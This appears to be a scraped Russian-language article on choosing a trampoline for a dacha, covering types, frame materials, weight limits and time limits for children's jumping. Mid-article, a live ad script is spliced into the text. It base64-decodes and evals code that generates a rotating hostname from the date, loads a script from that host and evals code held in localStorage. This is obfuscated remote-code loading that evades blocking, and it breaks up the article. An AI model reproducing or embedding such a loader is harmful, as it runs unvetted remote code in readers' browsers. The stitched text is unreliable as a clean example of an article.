Дача – это максимум свежего воздуха, пространства и времени для отдыха. Когда бадминтон и волейбол уже не вдохновляют, разнообразие внесут прыжки на батуте. От них и настроение поднимается, и мышцы работают. Несколько минут активных занятий гарантируют хороший продолжительный сон. Мы расскажем вам, как выбрать батут, чтобы активно провести время и нескучно отдохнуть на природе. Тем более, что это забава не только для детей.
С помощью прыжков можно:
увеличить физическую выносливость;укрепить пресс, ноги, ягодицы и спину;наладить работу сердечно-сосудистой системы;развить координацию. Виды батутов
В основном, они отличаются величиной допустимой нагрузки и местом установки:
Детские батуты – самые безопасные, имеют крепкую внутреннюю сетку, мягкую отделку пружин и столбиков, чтобы исключить травматизм. На входе присутствует застежка-молния для максимальной безопасности. Комплектуются лестничкой и другими аксессуарами: баскетбольный щит, мяч.Взрослые модели рассчитаны на больший вес, имеют увеличенный диаметр основы и более прочную конструкцию.Уличные батуты наиболее устойчивы к осадкам и могут одновременно выдержать несколько детей или взрослых. Бывают самых разнообразных форм и размеров.Фитнес-батуты используют в помещениях строго для каждого человека. Они не занимают много места, могут комплектоваться ручкой с регулировкой высоты. Таким образом, существенно снижается нагрузка на колени, суставы и прорабатывается определенная группа мышц.Профессиональные модели используют спортсмены для тренировки навыков, например, для прыжков в воду. Их конструкция обычно разборная, а эластичные ленты заменяют пружины. Как выбрать батут
Сначала нужно определиться с размером и местом хранения. Если батут будет храниться в помещении – достаточно оцинкованной рамы, если большую часть времени используется на улице – остановите выбор на раме с гальванизированной стали.
Чтобы подобрать оптимальную нагрузку на тренажер – учтите всех детей и их вес. Но помните, что дети растут, а некоторые взрослые тоже не против поупражняться. Для детей будет достаточно батута весом 20 кг, для подростков и взрослых – от 50 до 100 кг. Оптимальная нагрузка для дачного варианта – 120-150 кг.
На что обратить внимание: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Детские модели должны иметь внутреннюю сетку и надежные крепления, быть устойчивыми к осадкам и скачкам температур.Для дома или квартиры подойдет батут диаметром до 3 метров, более объемные конструкции лучше размещать на улице.Материал рам может выполняться из пластика или карбона, но сталь все же надежнее. Как облегченный, но прочный вариант – алюминиевые трубки толщиной от 1,5 мм для детских батутов и от 2 мм для взрослых. 
Чтобы провести время на батуте весело и с пользой, не стоит пренебрегать временными ограничениями. Это касается как дачных прыжков, так и в развлекательных центрах и спортивных кружках. Данные были получены в результате медицинских исследований и призваны сохранить здоровье детского организма.
Для детей до 3 лет нужно ограничить время до 30 минут.Для 3-7 лет будет достаточно 45-50 минут прыжков.В 7-10 лет можно заниматься не больше часа.
Взрослым лучше ориентироваться на свое самочувствие, но не перенапрягаться упражнениями. Особенно, если до этого физические нагрузки были умеренными. Допустимо постепенное увеличение продолжительности тренировок.
Пусть наши советы помогут вам выбрать батут для дачи, чтобы сделать отдых еще разнообразнее и активнее.
Источник: Journal.ROZETKA
Автор: Дмитрий Исаев (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/kak-vybrat-batut-na-dachu/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
